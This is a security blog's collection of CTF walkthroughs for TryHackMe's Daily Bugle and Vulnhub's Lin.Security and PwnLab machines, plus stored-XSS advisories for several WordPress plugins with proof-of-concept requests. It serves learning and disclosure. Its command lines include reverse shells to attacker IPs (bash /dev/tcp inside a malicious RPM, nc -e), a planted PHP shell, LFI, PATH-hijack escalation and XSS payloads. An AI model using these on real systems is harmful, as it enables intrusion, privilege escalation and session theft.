Daily Bugle – TryHackMe Machine Writeup

Today, we will root the Daily Bugle Machine from TryHackMe.

After deploying the machine, We are greeted with the first question.

Access the Server, Who robbed the bank?

Pretty straight-forward.

Answer is there.

The next question says, the CMS is Joomla. We need to find the version.

Upon a Google search, I ended up here.

So, we can read the version by visiting

http://10.10.249.33/administrator/manifests/files/joomla.xml

We got the version too.

This version of Joomla has an SQL injection vulnerability. Lets look up.

https://www.exploit-db.com/exploits/42033

We can try with SQL Map, But a simpler pyhon script is available.

https://github.com/XiphosResearch/exploits/tree/master/Joomblah

Lets run this on our target.

[email protected]:~/ex$ python joomblah.py http://10.10.249.33

We got the admin password hashes!

Lets crack this with John.

[email protected]:/home/kali/ex# john -w=/usr/share/wordlists/rockyou.txt jonah.txt -form=bcrypt

It took 40 minutes to get the hash cracked in my VM.

Lets login now.

http://10.10.249.33/administrator/

With the password we just found.

Once We are inside, Go to templates > Templates and click on name of the active template.

Select the Index.php file and paste the reverse shell php script. Download the file from here and update with our IP.

http://pentestmonkey.net/tools/web-shells/php-reverse-shell

Now listen from our machine port 4444 and load the main page of the site.

[email protected]:~/ex$ nc -nlvp 4444
listening on [any] 4444 ...

We got a reverse shell!

Let’s find the user flag now. First find the users.

sh-4.2$ cat /etc/passwd

Lets have a look at jjameson’s home directory.

But we dont have the permission for that.

Lets find some other way.

Have a look at /var/www/html/configuration.php file.

Lets try this password for the user.

bash-4.2$ su jjameson
su jjameson
Password: nv5uz9r3ZEDzVjNu

[[email protected] html]$ 

Success!

The user can run yum without password on the machine.

We can read the user flag now.

We can install any package with yum as root user. Have a look at the following page.

https://gtfobins.github.io/gtfobins/yum/

Let us create a specially crafted RPM package and install in the target.

Lets follow this guide for the process.

https://medium.com/@klockw3rk/privilege-escalation-how-to-build-rpm-payloads-in-kali-linux-3a61ef61e8b2

[email protected]:/home/kali/ex# git clone https://github.com/jordansissel/fpm
[email protected]:/home/kali/ex/fpm# gem install fpm
[email protected]:/home/kali/ex/fpm# apt-get install rpm

Now create a file named root.sh for reverse shell.

#! /bin/bash
bash -i >& /dev/tcp/10.9.42.115/9999 0>&1

Now create the RPM Package.

[email protected]:/home/kali/ex# fpm -n root -s dir -t rpm -a all --before-install root.sh /home/kali/ex

Now, Lets transfer the file to the target machine and install the package.

[email protected]:/home/kali/ex# python -m SimpleHTTPServer 222

and in the target,

[[email protected] ~]$ wget http://10.9.42.115:222/root-1.0-1.noarch.rpm

Listen for a connection at port 9999 in our attacker machine.

[email protected]:/home/kali/ex# nc -nlvp 9999
listening on [any] 9999 ...

and install the package in the target.

[[email protected] ~]$ sudo yum localinstall -y root-1.0-1.noarch.rpm

We got the root shell!

Lets read the root flag now.

Done!!

Stored XSS Vulnerability in WordPress Click to top Plugin

The WordPress Click to top Plugin version 1.2.7 and below were found to be vulnerable to an authenticated stored XSS vulnerability while I was auditing the plugin.

Summary

The Click to top WordPress Plugin is used to include scroll to top feature in a WordPress blog. It was found to be vulnerable toa stored Cross-Site Scripting (XSS) vulnerability. XSS is a type of vulnerability that can be exploited by attackers to perform various malicious actions such as stealing the victim’s session cookies or login credentials, performing arbitrary actions on the victim’s behalf, logging their keystrokes and more.

Vulnerability

The Type scroll text field in the plugin settings page was found to be vulnerable to stored XSS, as they did not sanitize user given input properly before publishing the changes. It is triggered when a user loads any page on the website. All WordPress websites using Click to top WordPress Plugin version 1.2.7 and below are affected.

The image below shows our javascript is being executed when the following string is inserted into the Type scroll text field.

Click To Top</script><script>alert(document.cookie)</script>

This vulnerability can be exploited by attckers to steal session cookies or execute any malicious javascript when a user visits the page.

Proof of Concept

POST /w/wp-admin/options.php HTTP/1.1
Host: 95.217.19.38
Content-Length: 722
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://95.217.19.38
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://95.217.19.38/w/wp-admin/options-general.php?page=click-to-top.php
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1597746976%7CBlobP8KWB7gDuqKN4SYfQexDQcLX5q74H4H2dnZzuRF%7Cb1aafc968a6212fc1ceba7657727836762d457f9b3fc1ac5d8f957c2aa46c16e; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1597746976%7CBlobP8KWB7gDuqKN4SYfQexDQcLX5q74H4H2dnZzuRF%7Cf7f732afdad727391089966b6f76603baec4a9f086a16fa81bc56fe71dfd59ef; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse; wp-settings-time-1=1597574177
Connection: close

option_page=click_top_style&action=update&_wpnonce=2502676c1e&_wp_http_referer=%2Fw%2Fwp-admin%2Foptions-general.php%3Fpage%3Dclick-to-top.php&click_top_style%5Bbtn_style%5D=square&click_top_style%5Bhover_affect%5D=bubble-top&click_top_style%5Bbtn_type%5D=text&click_top_style%5Bselect_icon%5D=angle-double-up&click_top_style%5Bbtn_text%5D=Click+To+Top%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&click_top_style%5Bbg_color%5D=%23cccccc&click_top_style%5Bicon_color%5D=%23000000&click_top_style%5Bbg_hover_color%5D=%23555555&click_top_style%5Bhover_color%5D=%23ffffff&click_top_style%5Bscroll_opacity%5D=99&click_top_style%5Bscroll_padding%5D=5&click_top_style%5Bfont_size%5D=16&submit=Save+Changes

Recommendation

All user inputs should be sanitized before usage.

Lin.Security: 1 Vulnhub Machine Walkthrough

Today, We will root Lin.Security:1 Machine from Vulnhub. This is a simple and straight forward boot2root machine.

Lets start by finding the IP.

[email protected]:~# nmap -sS 192.168.18.0/24

Got the IP and open ports.

NFS is running on port 2019. Lets enumerate it.

[email protected]:~# nmap -sV --script=nfs-* 192.168.18.102

We can mount /home/peter to our machine.

[email protected]:/mnt# mkdir lin
[email protected]:/mnt# mount 192.168.18.102:/home/peter /mnt/lin
[email protected]:/mnt# ls -la

In order to login to the machine, we can place our ssh public key in .ssh directory

(refer this article to learn how to create an ssh key)

Copy our public key (id_rsa.pub) to /tmp directory.

[email protected]:/mnt# cd /root/.ssh
[email protected]:~/.ssh# ls -la
total 20
drw-------  2 root root 4096 Jul  2 07:25 .
drwx------ 35 root root 4096 Aug 17 07:17 ..
-rw-------  1 root root 2590 Aug 12 08:35 id_rsa
-rw-r--r--  1 root root  563 Aug 12 08:35 id_rsa.pub
-rw-r--r--  1 root root 3322 Aug 13 06:47 known_hosts
[email protected]:~/.ssh# cp id_rsa.pub /tmp

make a directory named .ssh in the directory we just mounted.

[email protected]:/mnt/lin# mkdir .ssh
mkdir: cannot create directory ‘.ssh’: Permission denied

We dont have the permission to create the directory.

Lets create a user with uid 1001 to do this.

[email protected]:~# useradd -u 1001 peter

Now change the ownwership of /tmp/id_rsa.pub to peter

[email protected]:~/.ssh# cd /tmp
[email protected]:/tmp# chown peter:peter id_rsa.pub
[email protected]:/tmp# 

Lets copy the file to the mounted directory now. First lets change the user to peter and copy the file.

[email protected]:/mnt/lin# su peter
$ whoami
peter
$ mkdir .ssh
$ cd .ssh
$ cp /tmp/id_rsa.pub authorized_keys

We have copied our public key file to /tmp/.ssh/authorized_keys

Now, Let’s try to login as peter through ssh.

[email protected]:~# cd .ssh
[email protected]:~/.ssh# ssh [email protected]92.168.18.102

We are now logged in as peter. Lets see what all we can do here as a privileged user.

[email protected]:~$ sudo -l
Matching Defaults entries for peter on linsecurity:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User peter may run the following commands on linsecurity:
    (ALL) NOPASSWD: /usr/bin/strace

We can run /usr/bin/strace as root.

Can we escalate our privileges with this?

GTFOBins says yes!

Lets try.

[email protected]:~$ sudo strace -o /dev/null /bin/sh
# whoami
root

We got the root!

This was a comparitively easier machine. Lets root another machine next day!

PwnLab: init, Vulnhub Machine Walkthrough

Lets root Pwnlab: init Machine from Vulnhub today.

Start by finding out the IP through nmap.

nmap -sn 192.168.18.0/24

We have the IP now, 192.168.18.100

Time for a deeper scan.

nmap -p- -A -T5 -sV -O --script vuln  192.168.18.100
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-16 08:35 EDT
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 192.168.18.100
Host is up (0.00097s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| http-cookie-flags: 
|   /login.php: 
|     PHPSESSID: 
|_      httponly flag not set
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.18.100
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.18.100:80/?page=login
|     Form id: user
|_    Form action: 
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /login.php: Possible admin folder
|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|_  /upload/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
| http-internal-ip-disclosure: 
|_  Internal IP Leaked: 127.0.0.1
|_http-server-header: Apache/2.4.10 (Debian)
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| vulners: 
|   cpe:/a:apache:http_server:2.4.10: 
|       CVE-2017-7679   7.5     https://vulners.com/cve/CVE-2017-7679
|       CVE-2017-7668   7.5     https://vulners.com/cve/CVE-2017-7668
|       CVE-2017-3169   7.5     https://vulners.com/cve/CVE-2017-3169
|       CVE-2017-3167   7.5     https://vulners.com/cve/CVE-2017-3167
|       CVE-2018-1312   6.8     https://vulners.com/cve/CVE-2018-1312
|       CVE-2017-15715  6.8     https://vulners.com/cve/CVE-2017-15715
|       CVE-2017-9788   6.4     https://vulners.com/cve/CVE-2017-9788
|       CVE-2019-0217   6.0     https://vulners.com/cve/CVE-2019-0217
|       CVE-2020-1927   5.8     https://vulners.com/cve/CVE-2020-1927
|       CVE-2019-10098  5.8     https://vulners.com/cve/CVE-2019-10098
|       CVE-2020-1934   5.0     https://vulners.com/cve/CVE-2020-1934
|       CVE-2019-0220   5.0     https://vulners.com/cve/CVE-2019-0220
|       CVE-2018-17199  5.0     https://vulners.com/cve/CVE-2018-17199
|       CVE-2017-9798   5.0     https://vulners.com/cve/CVE-2017-9798
|       CVE-2017-15710  5.0     https://vulners.com/cve/CVE-2017-15710
|       CVE-2016-8743   5.0     https://vulners.com/cve/CVE-2016-8743
|       CVE-2016-2161   5.0     https://vulners.com/cve/CVE-2016-2161
|       CVE-2016-0736   5.0     https://vulners.com/cve/CVE-2016-0736
|       CVE-2014-3583   5.0     https://vulners.com/cve/CVE-2014-3583
|       CVE-2020-11985  4.3     https://vulners.com/cve/CVE-2020-11985
|       CVE-2019-10092  4.3     https://vulners.com/cve/CVE-2019-10092
|       CVE-2016-4975   4.3     https://vulners.com/cve/CVE-2016-4975
|       CVE-2015-3185   4.3     https://vulners.com/cve/CVE-2015-3185
|       CVE-2014-8109   4.3     https://vulners.com/cve/CVE-2014-8109
|       CVE-2018-1283   3.5     https://vulners.com/cve/CVE-2018-1283
|_      CVE-2016-8612   3.3     https://vulners.com/cve/CVE-2016-8612
111/tcp   open  rpcbind 2-4 (RPC #100000)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          38626/tcp   status
|   100024  1          39233/udp6  status
|   100024  1          52116/udp   status
|_  100024  1          57067/tcp6  status
3306/tcp  open  mysql   MySQL (blocked - too many connection errors)
38626/tcp open  status  1 (RPC #100024)
MAC Address: 08:00:27:CF:29:7D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.97 ms 192.168.18.100

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 372.01 seconds

We have a website running on the server. Lets have a look.

A login Page, Lets try SQL Injection.

Unfortunately it didn’t work. But, Have a look at the login page URL.

http://192.168.18.100/?page=login

Is there an LFI?

I tried but could’nt find any. Then I came across this article.

https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/

Lets try this on config.php.

http://192.168.18.100/?page=php://filter/convert.base64-encode/resource=config

We got something in base64.

Lets decode this with https://www.base64decode.org/

Now we have the credentials to login to the MySQL server.

Lets try to login.

mysql -u root -h 192.168.56.101 -pH4u%QJ_H99

I got an error at first, but fixed the issue with a reboot of the VM.

Lets read the data now.

show databases;

Lets find the tables and the data inside them.

MySQL [(none)]> use Users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

MySQL [Users]> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users           |
+-----------------+
1 row in set (0.001 sec)

MySQL [Users]> select * from users;
+------+------------------+
| user | pass             |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.005 sec)

Here, we have 3 users. Looks like the password is base64 encoded. Lets decode kent’s password.

It is JWzXuBJJNy.

Lets login as kent.

Lets try to upload a php shell.

Lets try to send this as jpg with Burp.

Change the filename to photo.gif, content type to image/gif and add GIF87a in the first line.

We can find our file location in response filed in Burp.

Our file is uploaded, but we cant read the file. But read the index.php through the above method.

Here, a ‘lang‘ cookie is added to load ‘en.lang.php‘ file.

Lets try changing the value to something else.

Go to Firefox Preferences > Web Developer > Storage. Add + button at the top right to add a cookie.

Cookie name: lang and value: ../upload/3f0d7f3bc6046d5eb636569c8a24ab31.gif

and now.

We got the file included.

Now lets open a reverse shell with netcat. Enter this command in the page.

nc -nv 192.168.18.99 4444 -e /bin/bash

We got a connection.

Now, We have the passwords for three users. Lets examine their home directories.

Nothing special here.

Mike’s password doesnt work. Letr try kane.

There is a file owned by mike. Lets open.

Ah! Couldnt read. What kind of file this is?

Executable. Lets try running.

[email protected]:~$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory

This executable tries to read msg.txt from mike’s home directory. Means the executable cat have access to mike’s home directory and we don’t have. Right?

What about changing the PATH variable and running /bin/bash with the same privileges as cat? Let’s try.

[email protected]:~$ echo "/bin/bash" > /tmp/cat
echo "/bin/bash" > /tmp/cat
[email protected]:~$ chmod +x /tmp/cat
chmod +x /tmp/cat
[email protected]:~$ PATH=/tmp:$PATH
PATH=/tmp:$PATH

Now let’s run the executable file.

We are mike now!

Lets have a look at mike’s home directory.

There’s a file called msg2root.

We are sending a message to root. So as the previous file, an executable have access to root folder too.

Lets try another method.

We are root.

Lets read the flag now. Before that we need to copy the real cat file to our /tmp/cat.

Cheers!

Multiple Stored XSS Vulnerabilities in Change WordPress Login Logo Plugin

The Change WordPress Login Logo Plugin version 1.1.4 and below were found to be vulnerable to multiple stored XSS vulnerabilities while I was auditing the plugin.

Summary

Change WordPress Login Logo Plugin is used to replace WordPress default logo in WordPress login page with a user supplied image. It was found to be vulnerable to multiple stored Cross-Site Scripting (XSS) vulnerabilities. XSS is a type of vulnerability that can be exploited by attackers to perform various malicious actions such as stealing the victim’s session cookies or login credentials, performing arbitrary actions on the victim’s behalf, logging their keystrokes and more.

Vulnerability

The height, and width fields used updating the custom logo was found to be vulnerable to stored XSS, as they did not sanitize user given input properly before publishing the changes. It is triggered when a user loads the WordPress login page. All WordPress websites using Change WordPress Login Logo Plugin version 1.1.4 and below are affected.

The image below shows our javascript is being executed when the following string is inserted into the height or width fields.

100}</style><script>alert(0)</script>

This vulnerability can be exploited by attckers to steal session cookies or execute any malicious javascript when a user visits the page.

Proof of Concept

POST /w/wp-admin/options.php HTTP/1.1
Host: 95.217.19.38
Content-Length: 353
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://95.217.19.38
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://95.217.19.38/w/wp-admin/options-general.php?page=change-login-logo
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7Cb6923f10946ffce4a149ff702761391ed5ab2efed419261f5bd9d173281a1d95; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7C187d1919d81892688985d2acd9d7c8995a974ded5282ab8d15344dae9764a405; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse; wp-settings-time-1=1597422791
Connection: close

option_page=change_login_options_group&action=update&_wpnonce=6d58248d5e&_wp_http_referer=%2Fw%2Fwp-admin%2Foptions-general.php%3Fpage%3Dchange-login-logo&wp_logo_url=http%3A%2F%2F95.217.19.38%2Fw%2Fwp-content%2Fuploads%2F2020%2F08%2F75.jpg&wp_logo_height=100%7D%3C%2Fstyle%3E%3Cscript%3Ealert%280%29%3C%2Fscript%3E&wp_logo_width=100&submit=Save+Changes

Recommendation

All user inputs should be sanitized before usage.

Multiple Stored XSS Vulnerabilities in WoprPress Elegant Testimonial Plugin

WordPress WP Elegant Testimonial Plugin version 1.1.6 and below were found to be vulnerable to multiple stored XSS vulnerabilities while I was auditing the plugin.

Summary

WordPress WP Elegant Testimonial Plugin is used to insert testimonials into a WordPress site directly from the post editor. It was found to be vulnerable to multiple stored Cross-Site Scripting (XSS) vulnerabilities. XSS is a type of vulnerability that can be exploited by attackers to perform various malicious actions such as stealing the victim’s session cookies or login credentials, performing arbitrary actions on the victim’s behalf, logging their keystrokes and more.

Vulnerability

The name, company and text fields used while adding a testimonial to a page was found to be vulnerable to stored XSS, as they did not sanitize user given input properly before publishing the post. It is triggered when a user loads a page where the plugin shortcode is used. All WordPress websites using WP Elegant Testimonial Plugin version 1.1.6 and below are affected.

The image below shows our javascript is being executed when the following string is inserted into the post.

[wp_elegant_testimonial name="<script>alert(0)</script>" company="<script>alert(0)</script>" text="<script>alert(0)</script>" image="https://example.com/example.jpg"]

This vulnerability can be exploited by attckers to steal session cookies of any users, including the admins the website. A less privileged user can exploit this vulnerability to steal the administrator’s cookies for privilege escalation.

Proof of Concept

POST /w/wp-json/wp/v2/posts/277?_locale=user HTTP/1.1
Host: 127.0.0.1
Content-Length: 197
Accept: application/json, */*;q=0.1
X-WP-Nonce: b5b10297e1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
X-HTTP-Method-Override: PUT
Content-Type: application/json
Origin: http://127.0.0.1
Referer: http://127.0.0.1/w/wp-admin/post.php?post=277&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7C187d1919d81892688985d2acd9d7c8995a974ded5282ab8d15344dae9764a405; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse; wp-settings-time-1=1597422791
Connection: close

{"id":277,"content":"[wp_elegant_testimonial name=\"<script>alert(0)</script>\" company=\"<script>alert(0)</script>\" text=\"<script>alert(0)</script>\" image=\"https://example.com/example.jpg\"]"}

Recommendation

All user inputs should be sanitized before publishing the post.

Stored XSS Vulnerability in WordPress Fancybox Lightbox Plugin

WordPress Fancybox Lightbox Plugin version 1.0.1 and below were found to be vulnerable to stored XSS while I was auditing the plugin.

Summary

WordPress Fancybox Lightbox plugin is used to add a lightbox functionality while embedding Image, Video or HTML page to your WordPress site. It was found to be vulnerable to Stored Cross-Site Scripting (XSS) vulnerability. XSS is a type of vulnerability that can be exploited by attackers to perform various malicious actions such as stealing the victim’s session cookies or login credentials, performing arbitrary actions on the victim’s behalf, logging their keystrokes and more.

Vulnerability

The ‘hyperlink’ field in used while linking a remote resource (Image, Video or web page) from a URL was found to be vulnerable to stored XSS, as they did not sanitize user given input properly before publishing the post. It is triggered when a users loads a page where the plugin shortcode is used. All WordPress websites using Fancybox Lightbox version 1.0.1 and below are affected.

The image below shows our javascript is being executed when the following string is inserted into the post.

[wp_fancybox_media url="http://example.com/wp-content/uploads/image/lightbox.jpg" type="image" hyperlink="<script>alert(0)</script>"]

This vulnerability can be exploited by attckers to steal session cookies of any users, including the admins the website. A less privileged user can exploit this vulnerability to steal the administrator’s cookies for privilege escalation.

Proof of Concept

POST /w/wp-json/wp/v2/posts/213?_locale=user HTTP/1.1
Host: 127.0.0.1
Content-Length: 162
Accept: application/json, */*;q=0.1
X-WP-Nonce: 6c6cd8b63e
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
X-HTTP-Method-Override: PUT
Content-Type: application/json
Origin: http://127.0.0.1
Referer: http://127.0.0.1/w/wp-admin/post.php?post=213&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7C187d1919d81892688985d2acd9d7c8995a974ded5282ab8d15344dae9764a405; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse; wp-settings-time-1=1597422791
Connection: close

{"id":213,"content":"[wp_fancybox_media url=\"http://example.com/wp-content/uploads/image/lightbox.jpg\" type=\"image\" hyperlink=\"<script>alert(0)</script>\"]"}

Recommendation

All user inputs should be sanitized before publishing the post.

Stored XSS Vulnerability in WordPress Colorbox Lightbox Plugin

WordPress Colorbox Lightbox Plugin version 1.1.2 and below were found to be vulnerable to stored XSS while I was auditing the plugin.

Summary

WordPress Colorbox Lightbox plugin is used to add a lightbox functionality while adding videos to your WordPress site. It was found to be vulnerable to Stored Cross-Site Scripting (XSS) vulnerability. XSS is a type of vulnerability that can be exploited by attackers to perform various malicious actions such as stealing the victim’s session cookies or login credentials, performing arbitrary actions on the victim’s behalf, logging their keystrokes and more.

Vulnerability

The ‘hyperlink’ field in used while linking an image from a URL was found to be vulnerable to stored XSS, as they did not sanitize user given input properly before publishing the post. It is triggered when a users loads a page where the plugin shortcode is used. All WordPress websites using WordPress Colorbox Lightbox version 1.1.2 and below are affected.

The image below shows our javascript is being executed when the following string is inserted into the post.

[wp_colorbox_media url="http://www.youtube.com/embed/nmp3Ra3Yj24" type="youtube" hyperlink="<script>alert(0)</script>"]

This vulnerability can be exploited by attckers to steal session cookies of any users, including the admins the website. A less privileged user can exploit this vulnerability to steal the administrator’s cookies for privilege escalation. Thiscan lead to takeover of the web server.

Proof of Concept

POST /w/wp-json/wp/v2/posts/211?_locale=user HTTP/1.1
Host: 127.0.0.1
Content-Length: 148
Accept: application/json, */*;q=0.1
X-WP-Nonce: 6c6cd8b63e
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
X-HTTP-Method-Override: PUT
Content-Type: application/json
Origin: http://127.0.0.1
Referer: http://127.0.0.1/w/wp-admin/post.php?post=211&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7C187d1919d81892688985d2acd9d7c8995a974ded5282ab8d15344dae9764a405; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse; wp-settings-time-1=1597422791
Connection: close

{"id":211,"content":"[wp_colorbox_media url=\"http://www.youtube.com/embed/nmp3Ra3Yj24\" type=\"youtube\" hyperlink=\"<script>alert(0)</script>\"]"}

Recommendation

All user inputs should be sanitized before publishing the post.

Stored XSS Vulnerability in WordPress Responsive Lightbox2 Plugin

WordPress Responsive Lightbox2 Plugin version 1.0.2 and below were found to be vulnerable to stored XSS while I was auditing the plugin.

Summary

WordPress Responsive Lightbox2 plugin is used to add a lightbox functionality to your WordPress site. It was found to be vulnerable to Stored Cross-Site Scripting (XSS) vulnerability. XSS is a type of vulnerability that can be exploited by attackers to perform various malicious actions such as stealing the victim’s session cookies or login credentials, performing arbitrary actions on the victim’s behalf, logging their keystrokes and more.

Vulnerability

The ‘hyperlink’ field in used while linking an image from a URL was found to be vulnerable to stored XSS, as they did not sanitize user given input properly before publishing the post. It is triggered when a users loads a page where the plugin shortcode is used. All WordPress websites using Responsive Lightbox2 version 1.0.2 and below are affected.

The image below shows our javascript is being executed when the following string is inserted into the post.

[lightbox2 url="http://example.com/wp-content/uploads/images/lightbox.jpg" hyperlink="<script>alert(0)</script>"]

This vulnerability can be exploited by attckers to steal session cookies of any users, including the admins the website. A less privileged user can exploit this vulnerability to steal the administrator’s cookies for privilege escalation.

Proof of Concept

POST /w/wp-json/wp/v2/posts/208?_locale=user HTTP/1.1
Host: 127.0.0.1
Content-Length: 140
Accept: application/json, */*;q=0.1
X-WP-Nonce: 6c6cd8b63e
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
X-HTTP-Method-Override: PUT
Content-Type: application/json
Origin: http://127.0.0.1
Referer: http://127.0.0.1/w/wp-admin/post.php?post=208&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7C187d1919d81892688985d2acd9d7c8995a974ded5282ab8d15344dae9764a405; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse; wp-settings-time-1=1597422791
Connection: close

{"id":208,"content":"[lightbox2 url=\"http://example.com/wp-content/uploads/images/lightbox.jpg\" hyperlink=\"<script>alert(0)</script>\"]"}

Recommendation

All user inputs should be sanitized before publishing the post.

Stored XSS Vulnerability in WordPress NextGen Gallery Sell Photo Plugin

WordPress NextGen Gallery Sell Photo Plugin version 1.0.4 and below were found to be vulnerable to stored XSS while I was auditing the plugin.

Summary

WordPress NextGen Gallery Sell Photo plugn is used to sell photos directly from NextGen Gallery in WordPress blog with payment through PayPal. It was found to be vulnerable to Stored Cross-Site Scripting (XSS) vulnerability. XSS is a type of vulnerability that can be exploited by attackers to perform various malicious actions such as stealing the victim’s session cookies or login credentials, performing arbitrary actions on the victim’s behalf, logging their keystrokes and more.

Vulnerability

The Button Text/Image field in Settings page of Sell Photos Plugin was found to be vulnerable to stored XSS, as they did not sanitize user given input properly. It is triggered when a users loads a page where the plugin is used, and when an admin opens settings page of the plugin.

The image below shows our javascript is being executed when the following string is given in the Button Text/Image field.

Buy Now "><script>alert(0)</script>

This vulnerability can be exploited by attckers to steal session cookies of any users, including the admins the website.

Proof of Concept

POST /w/wp-admin/options-general.php?page=nextgen-sell-photo-settings HTTP/1.1
Host: 127.0.0.1
Content-Length: 336
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
